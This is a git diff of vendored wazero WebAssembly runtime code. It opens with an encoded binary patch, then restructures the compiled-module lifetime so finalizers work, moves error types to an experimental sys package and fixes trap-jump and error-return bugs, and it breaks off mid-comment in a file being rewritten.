zrTU)rs8fgB%2eUTWA=9Cp14=WMH5^hkMuJ1cl`+Rs>NB@yh_7A3~ylS%Po^}7I}N^ z)*-{k73ar|oGoR(>NvfSkS<8pD_k2YuqRjL%Y!mb8Rd4{b&nq9$A31iYP<6+cUyQg zb^CPXmJxRw|F}V8K1J~yZl!6z0dizuoPwu~(641r^7l>GT1+Z6+_bHJkzi{bX=N9F zGiT4LvZddYn@6eS%uj0eJx@d$rTwnz-c#h!etd2Jjwa`ph|q&g*~2Dgs`J6|rz+>Sq*k{0 zK6!rY8D@97_<1LsacTb zr>m)T7vGzNR_A`&?3kIvl4Y-78h18LK;@ar)AB5ld-X4+N89&T51x<0*t`=L-?+sy zI%K*yu)qEihL2J8TI}9F6qIBRJi=ao{GEtXuz7lI_ClY!O@j|hHD6xPUf{;|Lt2ID)fZ}bAmjZ@hCX_f z)Dc}~3$nSrnW0Woa%|#M)lfp+$6L#ST^8V1-_BEA_2rw;D@E0i2X>|(*l+ZA)ujYT z@UGP7-&@jUzrktg>5%e--mP&hJ4Cym2fr!vtxWl}?MulIr(4J3KjuADy`-_~cu`^I zjoVV{0U60t`{Qd#rJ^rL7xRj18rgOBEgn(l{!pCVdkMcud(nsPc&n||4-(Q^oHjjv z7n>`7Ze;oAfQoC((K;6+L_QtQHo6j&(^Sw^qr&W}_$8n`_Q+A=`#A5o>k-l6dkPai zc@7Sr(P4atA{L52;SmMDkDiBccTxYrQ>l ziP=)JCvsb!j3n<|?-pd};c|Ud3l3g@p?~-p2Xmpjy=buk{Ns|Eanqw`QtBC?RTuD< z4Bnj5{=NOiOmiQkq7{i4)=jWP>l(1$UF!spOM71mZhF8*L9{+fFN|w+JGc>bnfs2S zjokGciCzNkVcQTRXV{2K_O+5O5)?ptD+()#o&9`w!O~Q3Z;G3vw}d`z1rlvtvcekL z3PzeO;p9O@@&k$bu$BT!+vvDa-q_bw7N9NS^z{pJbB7h&ZoVF_9smJ*AiP-!j8`fPdtM!#2QSpc{(8@<*7at%#ba5%On8PV`7kwK6RmYnR#JxP+%O{@=7KA0z{Gnk6*Tu7W{|6>s=)MUm|IVq zdJZ$?ElI+mHO!}n z$?{6DTtEe;@WV8C+DvX(LIFzwV1_nKx>kef`7rw(Cf&m>qUrCj4gd;*S=$iw&nkii zy?((^aj+~|Nf9mko4+)dR)2!4ahNPvDBrx=`9Cw7K|WAB!fYIEoNQced~E`3s5ZN7 zLTrL;tp1^R;6ic5^h;xy3163>mT3-aVvvil02{SIWLtraS{d?N&$D-cjn*omaC@*( zBSz_5=Gh)#)0Xx@xF6VPT^Gu;Yo5IqY_!Y|g&zbPHF0FegN?2!RPL#H_64vB^zcHk zkqiUc#;tjFE!c1Y(88a9%>g!TY2rM45NvcMqVP$ux#%_t*8XyXjrM8bJX-;59(uSw z*t}q)eYKotyMfI|58n;;0(H_F&$AhLaF`H1 zTm)=ku+cHA&9gUwjbs#1xF^`6;G*M?o@ZYGTZ|rF2{u~xj?#33jg~{BI{G!w7U6~U zWb|+yuor=i>dR)Hy%+4o^zidwqh1KrWA!|{2W&}tI6JKOUP`ygU@rq3)wSh3I}B{p zWuov5u%*F8^?rYz{RM0pdbscc9JU;6bUqB}Hfp)1fEi#5L;&LehJ$tuumUQ825=Tg zr_&7XBoG1e9cO`bpc&`_CIDDliY)=;0TaLs2m>O38lVAa1<+deG$0+w1&V;Dz;j>% zz(D3e3Qz=`0Y5qz$OWjwa#%gU3UC1201TGEGNWa%fF`hljxM<8fNbCj&;@)0CIAsw zCnyeR0lIV|z(wm9%Yi1~3BUqtCW(L=pb2OLy1+WX46p_qfb&2V@B#P)dsQelJ}tlj)+!bPML;ot!FoO^ zKoQsm6afzbw9fB4fWh@^3ZOm=^)unXU7#801%`n!0Ilm^3zz}BfC%6#fI+)o1w;V3 zKoQUn3{wtzF>3U~wl02M&G2aZ4lP!BW% zFOVPF?+u_7=mao+*bZO@Yy%tsZy*9F1*(Ai044za0w4y+0*ZhxfC=I-9UvVT0j2>K zA?Rc25W&?1bbvL08L$mV2eN@YpdIJ{x&cfWju|imE&x@)PXH6eVMc%%;0^c#2|yB1 z0$^g$t^sXeEno(00~~-;Kst~MbS;GPfFki3s=)mMOarHvKsl07e?SDVdMWr7aTr+@ zTtnFZHQ>6#@p!`Z19$+wfFIBdd!N6W10nqcsVW|M-2iG^S35Wp_ zfb&2X&hy92FHx{n@IB<``H40!w(7zT#`G7g#0=NPGz{FLEFUMh?fIqMY zhyY@NMBp@V7B~-J&9J`!)&hMcAOi#dyMbN+djiJ+bOECP_7sP00UUr30DA`I02k<7 z0yhiD1@NtKj|A2LCcvdOSlbIcY{y}Zz>y9db_TctU|n!;0z`o20QMHf7=R+M63_#T zfsMc>pz0l5H^4L{1707XCvPz6*2%|IJ~P2jKxz%Vcdpix?9 z7L3%g88FqG4457uR?2`$02z%8SP{_m3F3c3_&6HTF=8gXFq*@0U_*d5gcMmqd8X(d z5B-@BmF(|7vu@vV<4jm0q(S2t8}P?&g0w06G0Y{o66yR~$; zh3>ur_b1Q`p!M2lyXxSk!#;#SS+o1#6yyquH_%N&Toi<(_3|h^O49)D3A!JJV?+?u zfG`jj!3yZ%Xdf}Y8GRx2NYx8|B!h*Fyf3yOHj0p}V$pmjW)@2HHNTxp=skfp`hXD?v^92T+{nd<;Gw zzCnRd=l+3G-xj2 zG@&J$8G#E9aP$YA5ZJ>gn(a?bPq|FfrZZqUN4lZgt8Q`L0MCDN7X-f~%tfS`#eUmky zZ?cZAm_kd3%0hKx1}@5n(xP^Z%B23z2l5Q?W&&CTYP*T_aI`O|r6DbfH2QW?o>~Y? z2N#ux;!v9?1sAmmlm~_9fZsbXfZ|Vaq&@J~{G&d{p%)v5G)M#Ik2D~! z0Ww*z{az^lC!|4jF<%0ZCN2r_Vb~gs4YrN?yZP}n!8nK?hZ;ov$8r?*XIA?I8ZW49qHQQ(>mVL!%gkx1&;@FCLV7cZL+4>G z&K0TVz{@OJ>qqAo##yv}n~8RRYK5mobU$i^r|IW#Z)t`4N7^~9P+yX?cEf{N(){pD z1LdOpkD&dw!W#wj%+d;V?@dpiNKc34A5l6*^bCltrQP?Ce+BJcuoU}Bk4N{ARybZw znhW*HiTo_sDL6J-es<*Q&@_CIpGr@M&VL8^t-(d-a<;9bYjh9n6a0f4w*(4CM9|$? z|ExRvss%KXit?EWE8!c+(;;VtzO&iTiol+Md-uSMjq;#d;f(LMiv|d~(4-haPP2fS zAQQ|s^V;JGxTs6G2rlh$d<$GsaM&onAnYOmL*Gs(^x@Gv540ouVdJXcqIVv+U(?eP z*gh-+3uX*s3}=jD+`_z#`7rZQ=6dF4=6>cO=C8~wEFvrmSxBs0tR}3cti`NVtmCYc ztnzG%Y&+QO*gVT3x$wMrE&K|+0e&rh9ezFD6u%k%w&CsYuJ~Q}{rFq>a{Oa_GyHYo-{U{v zzu?Ei?D)VNLWi)M_5lVC0G%*5^M<01Xn^Z;Q-+#lI>KW@GyJu~-v`1t0V8S=R}xK$R>bW@2ck34mFPzdCf*{J6CV>> ziEYH!#P`Gx#1SG!+C;J>Ig?yTDWp_V1*wWuM|uE%O{6!Z52PW|2e6~|+aW{wveuQ=XtV4U8ZJ2^WzF|K;9$MDz8Wy)j5W6R^fbCf5M=LSzHPc2Ua z&jMaS-tD}$ynA>fcu(`D^M2#~$ver5@tx&Q=l{u%3GfL>2&fC_30Md?2m}g52y_Z` z3G@jJ3ycY1f+RsMK_Nj2!4Sa+!92kt!Eb_?kgSlRkdBZZ{22=Q2>A<9g(8IVg^Gmk z3pERM2)z~(5nd>~M>t&gkZ_{#Y2kF?Lg6CeDq&1yy@;8}9+3!wiTBk^_Ors8Jed&MKfpNhAM4~dV6PlV+ySb!wM4$IK>pj(~8rI%u4T-hLwJu$I|066Eo{Fn=@sz^s;_r zVcC`0)!7fSzh%qiDCTJ8=;Z|GMC8=wH0Hd>>B_Olwa?v?8|_u zJe$1gyq9_3^Kkhr`Rw@|`P}*Z`4ahF`TqHz^M~`t^09)8?M3Z%?GM{0+OaX8asTlb zgMPDctm(>FVkF=?BwI z(@&<`r#q%!O?OQXPXC&ooG!$UFdk*Rz^KTa$lS@I%Vy7ZgY6w#6nidvG5c$FCcF$@ z39pLRz^}yH;-m2K_#}KTz8HTUUx$By#|TUW8G;f)m0(ARA{--}A*2!R6G%jEq72c9 zXiVHnJW4!9%q3nY))Ma%-w=n1Boa5th-6HPAVra`lFCV~q;^sy$3c!G9GM(h9JL(v z9P2nwaaM3X=B(o~=Gn@#jpq4+?YF^E0wR1 zuQ9Q5LU+Po!f3)`%55rW>fBoox%-C>s-=4=;!h=g8xz;8Nr6 z;^yIrf&Gc+Img4qE5obAtIDg*Ys1GUBp{?N#4f5Knj^|8h8NQjTP5Zy<{_3KmL%pU zY45q+%gM{?S=zJ0XJyaIpWS=L(z>8ktW~>Jx7Db1b8C7BYuDngrCm&e5`#+yr3Y08 zH3zi^*A1EsZWuHhv>3D=+&*YCXgBCE=sf5(7&sU*xOXso@bF;fVBTQWaPx5J*rT!I z6QHLC?+VeoRw}$7M4fF6-CYOa$ZrjuusHT%855Fx!*wpX4aw>1p=4JVdz#=Cj(;`; z$pU)WQ$cIX-i<+B!O%MwTp07+Ut9(b0c z1o(mqtq0Z5k!%eAE#UoUm=%iQ=bLTMkP#l*R{QxnJ5mKmv!OJRUO|Cb?@XdK0e(IP z@L&`u#5)_|?dRte52%@@bl0jA$Y;%yH zHTJcjZB$g?9|??nXA_9=OD~^&=%SB~Wym1HypUsdyY{pvPjRt-Ne3dilmPEgI4B8` ze~E?%SDM`PB7uL2L?hwF{}w?3mFguz|CWPxB$C4a66F!N5t^pUQr@{kf#x@J%zhKa$o~7W;Es|4`Ld`D+J}UbyOCWzp(KjWE06jg(+@p+5^Yo|XF6_^VK)N3JRG zXNJ`?3gudVZw*P6YyVXW(gfG}tL|X4EB-2)E*id)|IcmCoT*iKcp!!kERf+qbX95B zFHNI-H|;S^8_Cma@7}u`-g$uHbs+8J?%hkKMM}b33qLQ4p0G5!N6o0B&OYDC%p}pr z)1r0;`B5nb3#9+?3`tM2nkNwMRAhKU2Yqdj9<>0U;huRr0xjZ?-GIowavMN$mmWT| za}X*wXU*<0Qu^O3XA$h^|G%Y$BSOW|56I~M|JKnC(zm__y(F9ISmCV`t!`%Y$SG?{ zG+$t-k0}MTh}Utd}ZVwc+xlMCDr@LdIyNa^e+-}V;O`p1X zu8RT5a9`?7(=z9r?PB~vP8!}gT5!(>_&5f5nfv)s11+J6&nT{w-JEG(1d$=5n>xix z`0ogmYYnKxZ<*Uqw*bH3breVct#c(q<^U?FmwQ?NO97yOZGj5kws3Z%Al2*~PrmrOff$d7J1fgW7a%jxe7Wyq_MEWhX6 z&dxPN^wvqArl9XdfL2X5L#N!^*PC-*UJDr6`0)JMM;HhC&b429twDYGN&HzKLC#(j zDmoi5eQF)luK%C8pq6*e)dIbwji6Q@Fc(NWu9zpt;n_aYY>T5cl<>I*Xbx9N1a8iYn!`RTr5oiG( zfg9jbjKaZi>W{;k88jZm&D@5lVQ@7^&*=_+xOKb77WY9`Fu37AHb4>US!1 zAeP%frrz-oj-3{Z#@C1GI{}XtjxN4O=rK^As&P18`VJxOcjHYmWR&FSU!hJOZmRKr zhr;kTfqula9Y_iVIgaRxWPOQDr?7AFX80L_^s&z$|uXhh+%)r0Du2JM6%WgJNBSI*(M zXG5F<;VV1N?n>(Ce}{QfT&c8iVmdT9dQP}8`efjEX1xI(ZtgQ_F5viP182T0Vd&uo zj~y3r0<*z?%mvKE3C+g1c82mt4Hot6IAgzOB<$=jb z_UKLwZ*k}!gkkSzkib~U0e+}Qz_HT}vJ%6bsmwTMsxZx&s?2ky8q1ui&N^pmu+5p8 z>~p3T9zVAUMZ#}eiTK-ACjGWmIDXrzoWE@~uHUvg_itN+=eMoN``gyyo3oV_7yP!B z_5n)!QZy3&~IB!__wVt^4r!B{cUTCF_TekE@Y)SWF>LBp^TlvvHL?+2RTy$ z0vXu6;iF1H@U1o+<7zD}j0iE#XyoQ1?-a_w?2KY}D5;SZ$%+!v?o_IOptgbnTyO3{ zPGlH=D}dfT8t8erDtLSE@{xz!p73=#2`48_HAhv7v!;uhrV@PWM_ru)6P~rylqt?g zO&j#8Rb8EwRVXqnmL9&LYyDUh$;z5!C2S)n3_9T^Vebk*Z3aQfOtPFlK~(h3A$d1% yKPULnS(euqzE}c3Z~McgBJb)?MV~j4B{&6nd&$FK8$Mbj3*U@z^Oc8t?*9OMe2qN- literal 0 HcmV?d00001 diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go index c6190316df..4ef41d501c 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/wasi.go @@ -19,10 +19,10 @@ package wasi_snapshot_preview1 import ( "context" "encoding/binary" - "syscall" "github.com/tetratelabs/wazero" "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/wasip1" "github.com/tetratelabs/wazero/internal/wasm" ) @@ -229,18 +229,18 @@ func exportFunctions(builder wazero.HostModuleBuilder) { // writeOffsetsAndNullTerminatedValues is used to write NUL-terminated values // for args or environ, given a pre-defined bytesLen (which includes NUL // terminators). -func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) syscall.Errno { +func writeOffsetsAndNullTerminatedValues(mem api.Memory, values [][]byte, offsets, bytes, bytesLen uint32) sys.Errno { // The caller may not place bytes directly after offsets, so we have to // read them independently. valuesLen := len(values) offsetsLen := uint32(valuesLen * 4) // uint32Le offsetsBuf, ok := mem.Read(offsets, offsetsLen) if !ok { - return syscall.EFAULT + return sys.EFAULT } bytesBuf, ok := mem.Read(bytes, bytesLen) if !ok { - return syscall.EFAULT + return sys.EFAULT } // Loop through the values, first writing the location of its data to @@ -285,7 +285,7 @@ func newHostFunc( // wasiFunc special cases that all WASI functions return a single Errno // result. The returned value will be written back to the stack at index zero. -type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) syscall.Errno +type wasiFunc func(ctx context.Context, mod api.Module, params []uint64) sys.Errno // Call implements the same method as documented on api.GoModuleFunction. func (f wasiFunc) Call(ctx context.Context, mod api.Module, stack []uint64) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/close/close.go b/vendor/github.com/tetratelabs/wazero/internal/close/close.go new file mode 100644 index 0000000000..33b39b1e23 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/close/close.go @@ -0,0 +1,13 @@ +// Package close allows experimental.CloseNotifier without introducing a +// package cycle. +package close + +import "context" + +// NotifierKey is a context.Context Value key. Its associated value should be a +// Notifier. +type NotifierKey struct{} + +type Notifier interface { + CloseNotify(ctx context.Context, exitCode uint32) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go index d5ec8e27b6..86abce4a51 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine.go @@ -48,6 +48,10 @@ type ( // as the underlying memory region is accessed by assembly directly by using // codesElement0Address. functions []function + + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule } // callEngine holds context per moduleEngine.Call, and shared across all the @@ -130,11 +134,13 @@ type ( // initialFn is the initial function for this call engine. initialFn *function + // Keep a reference to the compiled module to prevent the GC from reclaiming + // it while the code may still be needed. + module *compiledModule + // stackIterator provides a way to iterate over the stack for Listeners. // It is setup and valid only during a call to a Listener hook. stackIterator stackIterator - - ensureTermination bool } // moduleContext holds the per-function call specific module information. @@ -264,12 +270,27 @@ type ( } compiledModule struct { - executable asm.CodeSegment - functions []compiledFunction - source *wasm.Module + // The data that need to be accessed by compiledFunction.parent are + // separated in an embedded field because we use finalizers to manage + // the lifecycle of compiledModule instances and having cyclic pointers + // prevents the Go runtime from calling them, which results in memory + // leaks since the memory mapped code segments cannot be released. + // + // The indirection guarantees that the finalizer set on compiledModule + // instances can run when all references are gone, and the Go GC can + // manage to reclaim the compiledCode when all compiledFunction objects + // referencing it have been freed. + *compiledCode + functions []compiledFunction + ensureTermination bool } + compiledCode struct { + source *wasm.Module + executable asm.CodeSegment + } + // compiledFunction corresponds to a function in a module (not instantiated one). This holds the machine code // compiled by wazero compiler. compiledFunction struct { @@ -282,7 +303,7 @@ type ( index wasm.Index goFunc interface{} listener experimental.FunctionListener - parent *compiledModule + parent *compiledCode sourceOffsetMap sourceOffsetMap } @@ -516,9 +537,11 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners var withGoFunc bool localFuncs, importedFuncs := len(module.FunctionSection), module.ImportFunctionCount cm := &compiledModule{ + compiledCode: &compiledCode{ + source: module, + }, functions: make([]compiledFunction, localFuncs), ensureTermination: ensureTermination, - source: module, } if localFuncs == 0 { @@ -552,7 +575,7 @@ func (e *engine) CompileModule(_ context.Context, module *wasm.Module, listeners funcIndex := wasm.Index(i) compiledFn := &cm.functions[i] compiledFn.executableOffset = executable.Size() - compiledFn.parent = cm + compiledFn.parent = cm.compiledCode compiledFn.index = importedFuncs + funcIndex if i < ln { compiledFn.listener = listeners[i] @@ -621,6 +644,8 @@ func (e *engine) NewModuleEngine(module *wasm.Module, instance *wasm.ModuleInsta parent: c, } } + + me.module = cm return me, nil } @@ -713,7 +738,7 @@ func (ce *callEngine) CallWithStack(ctx context.Context, stack []uint64) error { func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []uint64, err error) { m := ce.initialFn.moduleInstance - if ce.ensureTermination { + if ce.module.ensureTermination { select { case <-ctx.Done(): // If the provided context is already done, close the call context @@ -734,12 +759,14 @@ func (ce *callEngine) call(ctx context.Context, params, results []uint64) (_ []u // If the module closed during the call, and the call didn't err for another reason, set an ExitError. err = m.FailIfClosed() } + // Ensure that the compiled module will never be GC'd before this method returns. + runtime.KeepAlive(ce.module) }() ft := ce.initialFn.funcType ce.initializeStack(ft, params) - if ce.ensureTermination { + if ce.module.ensureTermination { done := m.CloseModuleOnCanceledOrTimeout(ctx) defer done() } @@ -952,11 +979,11 @@ var initialStackSize uint64 = 512 func (e *moduleEngine) newCallEngine(stackSize uint64, fn *function) *callEngine { ce := &callEngine{ - stack: make([]uint64, stackSize), - archContext: newArchContext(), - initialFn: fn, - moduleContext: moduleContext{fn: fn}, - ensureTermination: fn.parent.parent.ensureTermination, + stack: make([]uint64, stackSize), + archContext: newArchContext(), + initialFn: fn, + moduleContext: moduleContext{fn: fn}, + module: e.module, } stackHeader := (*reflect.SliceHeader)(unsafe.Pointer(&ce.stack)) diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go index e6b3b0e914..37e481bdb6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/engine_cache.go @@ -17,6 +17,7 @@ import ( func (e *engine) deleteCompiledModule(module *wasm.Module) { e.mux.Lock() defer e.mux.Unlock() + delete(e.codes, module.ID) // Note: we do not call e.Cache.Delete, as the lifetime of @@ -158,14 +159,18 @@ func deserializeCompiledModule(wazeroVersion string, reader io.ReadCloser, modul ensureTermination := header[cachedVersionEnd] != 0 functionsNum := binary.LittleEndian.Uint32(header[len(header)-4:]) - cm = &compiledModule{functions: make([]compiledFunction, functionsNum), ensureTermination: ensureTermination} + cm = &compiledModule{ + compiledCode: new(compiledCode), + functions: make([]compiledFunction, functionsNum), + ensureTermination: ensureTermination, + } imported := module.ImportFunctionCount var eightBytes [8]byte for i := uint32(0); i < functionsNum; i++ { f := &cm.functions[i] - f.parent = cm + f.parent = cm.compiledCode // Read the stack pointer ceil. if f.stackPointerCeil, err = readUint64(reader, &eightBytes); err != nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go index 79b299ec9d..7de2b33189 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_amd64.go @@ -1088,7 +1088,7 @@ func (c *amd64Compiler) compileAdd(o *wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -1125,7 +1125,7 @@ func (c *amd64Compiler) compileSub(o *wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -3499,7 +3499,7 @@ func (c *amd64Compiler) compileStoreImpl(offsetConst uint32, inst asm.Instructio reg, err := c.compileMemoryAccessCeilSetup(offsetConst, targetSizeInBytes) if err != nil { - return nil + return err } c.assembler.CompileRegisterToMemoryWithIndex( @@ -4856,6 +4856,7 @@ func (c *amd64Compiler) compileMaybeExitFromNativeCode(skipCondition asm.Instruc func (c *amd64Compiler) compileExitFromNativeCode(status nativeCallStatusCode) { if target := c.compiledTrapTargets[status]; target != nil { c.assembler.CompileJump(amd64.JMP).AssignJumpTarget(target) + return } switch status { diff --git a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_arm64.go b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_arm64.go index af02481885..b5be128fab 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_arm64.go +++ b/vendor/github.com/tetratelabs/wazero/internal/engine/compiler/impl_arm64.go @@ -380,42 +380,16 @@ func (c *arm64Compiler) compileReturnFunction() error { } func (c *arm64Compiler) compileMaybeExitFromNativeCode(skipCondition asm.Instruction, status nativeCallStatusCode) { - if target := c.compiledTrapTargets[status]; target != nil { - // We've already compiled this. - // Invert the condition to jump into the appropriate target. - var trapCondition asm.Instruction - switch skipCondition { - case arm64.BCONDEQ: - trapCondition = arm64.BCONDNE - case arm64.BCONDNE: - trapCondition = arm64.BCONDEQ - case arm64.BCONDLO: - trapCondition = arm64.BCONDHS - case arm64.BCONDHS: - trapCondition = arm64.BCONDLO - case arm64.BCONDLS: - trapCondition = arm64.BCONDHI - case arm64.BCONDHI: - trapCondition = arm64.BCONDLS - case arm64.BCONDVS: - trapCondition = arm64.BCONDVC - case arm64.BCONDVC: - trapCondition = arm64.BCONDVS - default: - panic("BUG: couldn't invert condition") - } - c.assembler.CompileJump(trapCondition).AssignJumpTarget(target) - } else { - skip := c.assembler.CompileJump(skipCondition) - c.compileExitFromNativeCode(status) - c.assembler.SetJumpTargetOnNext(skip) - } + skip := c.assembler.CompileJump(skipCondition) + c.compileExitFromNativeCode(status) + c.assembler.SetJumpTargetOnNext(skip) } // compileExitFromNativeCode adds instructions to give the control back to ce.exec with the given status code. func (c *arm64Compiler) compileExitFromNativeCode(status nativeCallStatusCode) { if target := c.compiledTrapTargets[status]; target != nil { c.assembler.CompileJump(arm64.B).AssignJumpTarget(target) + return } switch status { diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants.go deleted file mode 100644 index 868b9c16a3..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants.go +++ /dev/null @@ -1,13 +0,0 @@ -//go:build !windows && !js && !illumos && !solaris - -package fsapi - -import "syscall" - -// Simple aliases to constants in the syscall package for portability with -// platforms which do not have them (e.g. windows) -const ( - O_DIRECTORY = syscall.O_DIRECTORY - O_NOFOLLOW = syscall.O_NOFOLLOW - O_NONBLOCK = syscall.O_NONBLOCK -) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_js.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_js.go deleted file mode 100644 index af73ddb66c..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_js.go +++ /dev/null @@ -1,8 +0,0 @@ -package fsapi - -// See the comments on the same constants in constants_windows.go -const ( - O_DIRECTORY = 1 << 29 - O_NOFOLLOW = 1 << 30 - O_NONBLOCK = 1 << 31 -) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_sun.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_sun.go deleted file mode 100644 index a0de49b73f..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_sun.go +++ /dev/null @@ -1,12 +0,0 @@ -//go:build illumos || solaris - -package fsapi - -import "syscall" - -// See https://github.com/illumos/illumos-gate/blob/edd580643f2cf1434e252cd7779e83182ea84945/usr/src/uts/common/sys/fcntl.h#L90 -const ( - O_DIRECTORY = 0x1000000 - O_NOFOLLOW = syscall.O_NOFOLLOW - O_NONBLOCK = syscall.O_NONBLOCK -) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_windows.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_windows.go deleted file mode 100644 index 33aed87052..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/constants_windows.go +++ /dev/null @@ -1,24 +0,0 @@ -package fsapi - -import "syscall" - -// Windows does not have these constants, we declare placeholders which should -// not conflict with other open flags. These placeholders are not declared as -// value zero so code written in a way which expects them to be bit flags still -// works as expected. -// -// Since those placeholder are not interpreted by the open function, the unix -// features they represent are also not implemented on windows: -// -// - O_DIRECTORY allows programs to ensure that the opened file is a directory. -// This could be emulated by doing a stat call on the file after opening it -// to verify that it is in fact a directory, then closing it and returning an -// error if it is not. -// -// - O_NOFOLLOW allows programs to ensure that if the opened file is a symbolic -// link, the link itself is opened instead of its target. -const ( - O_DIRECTORY = 1 << 29 - O_NOFOLLOW = 1 << 30 - O_NONBLOCK = syscall.O_NONBLOCK -) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go deleted file mode 100644 index c28783b461..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go +++ /dev/null @@ -1,99 +0,0 @@ -package fsapi - -import ( - "fmt" - "io/fs" - "syscall" - "time" -) - -// Dirent is an entry read from a directory. -// -// This is a portable variant of syscall.Dirent containing fields needed for -// WebAssembly ABI including WASI snapshot-01 and wasi-filesystem. Unlike -// fs.DirEntry, this may include the Ino. -type Dirent struct { - // ^^ Dirent name matches syscall.Dirent - - // Name is the base name of the directory entry. - Name string - - // Ino is the file serial number, or zero if not available. - Ino uint64 - - // Type is fs.FileMode masked on fs.ModeType. For example, zero is a - // regular file, fs.ModeDir is a directory and fs.ModeIrregular is unknown. - Type fs.FileMode -} - -func (d *Dirent) String() string { - return fmt.Sprintf("name=%s, type=%v, ino=%d", d.Name, d.Type, d.Ino) -} - -// IsDir returns true if the Type is fs.ModeDir. -func (d *Dirent) IsDir() bool { - return d.Type == fs.ModeDir -} - -// DirFile is embeddable to reduce the amount of functions to implement a file. -type DirFile struct{} - -// IsAppend implements File.IsAppend -func (DirFile) IsAppend() bool { - return false -} - -// SetAppend implements File.SetAppend -func (DirFile) SetAppend(bool) syscall.Errno { - return syscall.EISDIR -} - -// IsNonblock implements File.IsNonblock -func (DirFile) IsNonblock() bool { - return false -} - -// SetNonblock implements File.SetNonblock -func (DirFile) SetNonblock(bool) syscall.Errno { - return syscall.EISDIR -} - -// IsDir implements File.IsDir -func (DirFile) IsDir() (bool, syscall.Errno) { - return true, 0 -} - -// Read implements File.Read -func (DirFile) Read([]byte) (int, syscall.Errno) { - return 0, syscall.EISDIR -} - -// Pread implements File.Pread -func (DirFile) Pread([]byte, int64) (int, syscall.Errno) { - return 0, syscall.EISDIR -} - -// Seek implements File.Seek -func (DirFile) Seek(int64, int) (int64, syscall.Errno) { - return 0, syscall.EISDIR -} - -// PollRead implements File.PollRead -func (DirFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) { - return false, syscall.ENOSYS -} - -// Write implements File.Write -func (DirFile) Write([]byte) (int, syscall.Errno) { - return 0, syscall.EISDIR -} - -// Pwrite implements File.Pwrite -func (DirFile) Pwrite([]byte, int64) (int, syscall.Errno) { - return 0, syscall.EISDIR -} - -// Truncate implements File.Truncate -func (DirFile) Truncate(int64) syscall.Errno { - return syscall.EISDIR -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go index 2d6ad0372e..0640b22712 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go @@ -1,44 +1,17 @@ package fsapi -import ( - "io/fs" - "syscall" - "time" -) +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" -// File is a writeable fs.File bridge backed by syscall functions needed for ABI -// including WASI and runtime.GOOS=js. +// File includes methods not yet ready to document for end users, notably +// non-blocking functionality. // -// Implementations should embed UnimplementedFile for forward compatability. Any -// unsupported method or parameter should return syscall.ENOSYS. -// -// # Errors -// -// All methods that can return an error return a syscall.Errno, which is zero -// on success. -// -// Restricting to syscall.Errno matches current WebAssembly host functions, -// which are constrained to well-known error codes. For example, `GOOS=js` maps -// hard coded values and panics otherwise. More commonly, WASI maps syscall -// errors to u32 numeric values. -// -// # Notes -// -// A writable filesystem abstraction is not yet implemented as of Go 1.20. See -// https://github.com/golang/go/issues/45757 +// 